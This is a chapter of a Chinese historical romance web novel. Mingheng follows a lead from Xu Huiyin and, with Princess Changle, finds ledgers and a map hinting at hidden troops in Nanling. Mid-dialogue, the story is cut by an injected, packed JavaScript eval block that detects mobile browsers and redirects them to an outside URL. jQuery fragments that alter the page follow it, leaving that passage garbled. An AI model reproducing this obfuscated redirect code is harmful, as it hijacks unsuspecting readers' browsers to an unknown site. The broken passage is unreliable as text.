明蘅没料到会在这里见到许惠音,许惠音当然更没有预料到会见到她。
许家出逃时没人想得起告诉许惠音和刘氏。
不过自打许惠音听了许远山的吩咐,鼓动容梦阳构陷沈宗芳落得自己也身陷囹圄以后,许家和她们早没了什么往来,这倒也在许惠音意料之中。
但没想到他们连提前给她们示警两句都不曾。
容梦阳给过她们一些财物,许远山既然要许惠音替他做事,自然也不会吝惜这些身外之物。
但她们家中只有母女二人,生活又不算困窘,早就被有心人盯上了,城乱的那天也有人趁乱来将家中洗劫一空。
虽说好歹母女二人早早逃走了都没受伤,但身体本就虚弱的刘氏被这样一吓,竟是卧床不起了。
许惠音知道有不少贵女都在积云寺帮着施药,她自然是不想任何人把她认出来,可如今的情形由不得她不低头。
原想着她如今今非昔比,未必就真那么巧教人认出来……
哪知道遇上的是明蘅。
她当即顾不上什么药不药的,只想赶紧从明蘅眼前离开。
但这样坚定的决心还是被明蘅这句话动摇了。
她缓缓转过身来端详着明蘅,试图从她的脸上分辨她说的是不是实话。
明蘅道:“你不信我,问旁人也成。”
许惠音犹豫了片刻。
她说不上多了解明蘅,但这样的事哄骗她又有什么意义——突如其来的,她自嘲地笑了笑,无论是什么样的事,哄骗她都是没有意义的。
她哑着嗓子道:“你告诉我是想做什么?”
这个问题还真难住了明蘅。
告诉许惠音这件事,是想从她那里得到什么呢。
明蘅笑着摇了摇头:“我想我只是觉得你应当知道。”
她看着神色难辨的许惠音,低声道:“当初是容公子求了王爷,才把你放出来的,你知道么?”
许惠音显而易见的一愣,立时道:“你胡说,他那时候怎么可能还替我说话?”
“谁知道呢,”明蘅淡淡地说,“兴许是因为他傻?如果不是这样,还有什么理由你说什么他都信呢。”
“我——”许惠音顿住了。
其实她是知道的,她知道明蘅这样说的言外之意,也明白容梦阳的理由。
诚然他是个愚蠢、轻信、随随便便就被算计进圈套的人。
但如果不是因为他爱重她,他不会一次又一次来到她身边。
许惠音站直了身子:“那又如何?他自己要送上门来,我可没本事把他绑了来。”
明蘅静静地看着她,似乎并没有想再多说。她上前几步把手里的药包塞进了许惠音手里,转身道:“我只是想告诉你这件事。”
许惠音也扭头就走。
她对容梦阳从没什么真情实意。
她是利用他,谁让他是浔阳侯府的人,和沈宗芳息息相关?
他们这些人利用她的时候,没有一个人在意过她的死活,她凭什么反倒要做那个束手束脚的人?
何况,她根本没有选择。
孤儿寡母她要怎么活下去?沈宗芳肯帮她么?
许远山要她做什么,她就只能做什么!
她——
“是容公子求了王爷,才把你放出来的。”
“容公子死了,你知道么?”
许惠音突然转身回来,抓住了明蘅,在她耳边说了一个地点。
明蘅挑了挑眉看着她。
“许家佛堂里那个香炉,说是世外高僧所制,其实此人是个破戒僧,不为佛堂清净地所容。但他有一双巧手。”
许惠音意味深长地低声道,:“什么东西给他,想仿成什么样,就能仿成什么样。”
说完这些,她再次快步走近了人群中。
她没有亏欠容梦阳什么,她也不需要还。
-
容梦溪本说和明蘅一道去许惠音说的地方看看,但明蘅还是劝了她先回家。
浔阳侯府再有钢筋铁骨,容梦阳的死也是一道活生生的伤口。侯府的人再有钢筋铁骨,终究还是需要关起门来互相舔舐它。
明蘅不觉得容梦溪是在假装坚强,但她也做得够多、够好了。
毕竟明蘅也说只是先去看看,容梦溪便没有过多推辞。
等去了许惠音说的地方一看,只是一处寻常民居,如今门户大开,不知里面住的人是在城乱的那夜和许家一道逃了,还是有什么旁的意外。
明蘅带着流霞她们在院中仔细搜寻了一番,还真让她们找到些散碎的可疑之物。
“三月二十七,购精铁三千斤……南陵……盐水古道……”明蘅仔细辨认着像是账册的一本簿子上的字,“南陵?南陵不就是断云岭那边儿。”
倾海和流霞并不常打听这些消息,只是大约知道个地名,答不上什么话。
流霞举着手里的一张图道:“这里这个图似乎也有些古怪。”
明蘅接过来一抖开,似乎是什么工事图,标注着密密麻麻的算筹数字,但她着实看不懂。
门口突然传来一个声音,吓得主仆三人都飞快把手里的东西往背后一藏:“你们都找到这儿来了啊?”
明蘅听着那声音耳熟,眨眨眼定睛一看,竟然是长乐公主。
她轻轻吐了口气:“你怎么也来这里了?”
“就当我恰巧路过吧。”长乐轻快地挥挥手,指着明蘅手里的账册道,“南陵产矿,有不少废弃的矿场,坑道四通八达,藏支私兵在里头,朝廷三年五载也不一定能找到。”
明蘅脸色一变,示意倾海把东西都拿给长乐:“你的意思是……”
“我没有什么意思,”长乐把几张破碎的账册放在一起拼凑起来,“盐水古道能直接到南陵的矿场,就在这矿场不远处,还有几处粮仓。虽说年久失修……”
她歪了歪头:“三哥前两年倒是奏请重修呢,说是储粮备荒。”
有铁、有粮、有能藏兵的地方……
明蘅汗毛直立地问道:“公主,你可明白这意味着什么?”
长乐还是那副理直气壮的浑不在意模样:“我能明白什么?我只是信口开河罢了。”
她盯着那张工事图左看右看了半晌,皱着眉头道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052972|172714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像这个,我就真看不懂了。不过这个走向……我觉得是河道。说不定是还想从河道运点什么呢。”
明蘅越听越毛骨悚然,许家拼死一搏地逃了,这么看来,他们定是逃往了南陵……不行,她得去告诉——
“七哥今天早上就带着五军营的人马去南陵了。”长乐似乎一眼就瞧出了她在想什么,“轻车从简,看着挺着急的。”
明蘅一愣。
“哦……”她动了动,“这么说来,王爷是早知道这些事了,它们也……没什么用。”
长乐道:“那也不见得。不过你这会儿也追不上他了,倒是可以找贺承安想法子捎给七哥。”
明蘅奇道:“殿下,你……你到底是知道什么,又想告诉我什么?”
“三哥跟着许家跑了,可没带上我。”长乐把那张图递还给明蘅,“你觉得他们能有什么事是会让我知道的?我没哄你,我真的什么意思也没有。看到什么说什么罢了。”
倾海踌躇道:“娘娘,那我们要把这些告诉贺总管么?”
明蘅盯着那唯一完整些的河道图看,突然把图往怀里一放,拉着长乐走了。
“有什么好说的。他走得不是很干脆么?可见心里什么都有数,没什么需要我操心的。”
-
明蘅话说得干脆,心里的疙瘩却始终放不下。
一面觉得这些东西她看不出门道,未必沈宗芳也看不出;一面想起他走得这么急、这么干脆,又心里发堵。
她先前还觉得容梦溪对她说的那些话有道理……她就是想相信那些话,自己说服了自己它们有道理吧!
哪怕他们只是点头之交,这样不告而别不失礼么?
亏他还口口声声说叫她“三娘”太生分了,能比他连一个字也没留给她就走了生分?
她在房里坐立不安,索性出门走走。一走便遇见了小丫头要把明枢的药端给他。
虽然请了大夫来瞧过,说明枢的头只是皮外伤,但他早先就被砸破过一次头,这次好巧不巧又伤在头上,大夫也怕再出意外,一再叮嘱了他务必静养。
明蘅便从小丫头手上端了药,打算去看看静养中的哥哥。
明枢自觉自己没受多大伤,听得容梦阳的死讯后本就静不下来的他更是着急想出门,若不是大夫说得强硬,明鹤又发了脾气,他早在家里待不住了。
听得明蘅告诉他容梦溪和浔阳侯府的言行,明枢更是一面叹气一面遥遥行礼。
“浔阳侯当真是满门忠烈。唉!我当时要是没扔下容公子就好了。”
“大哥,这也不是我替你开解,你这手无缚鸡之力的,留着也没有多大不同——”
明蘅的目光被明枢墙上的一张图吸引了。
她走过去端详道:“大哥,这是什么?”
“这是河道图啊。”明枢也走了过来,“我有个同窗的兄长在工部观政,从他那里摹来的。”
他手指跟着河道缓缓移动:“你看,这其实是河流疏浚图。这是河道,这里、这里,这些都是堤坝。每年工部都要算——三娘?”
明蘅盯着那张图,面色渐渐苍白起来。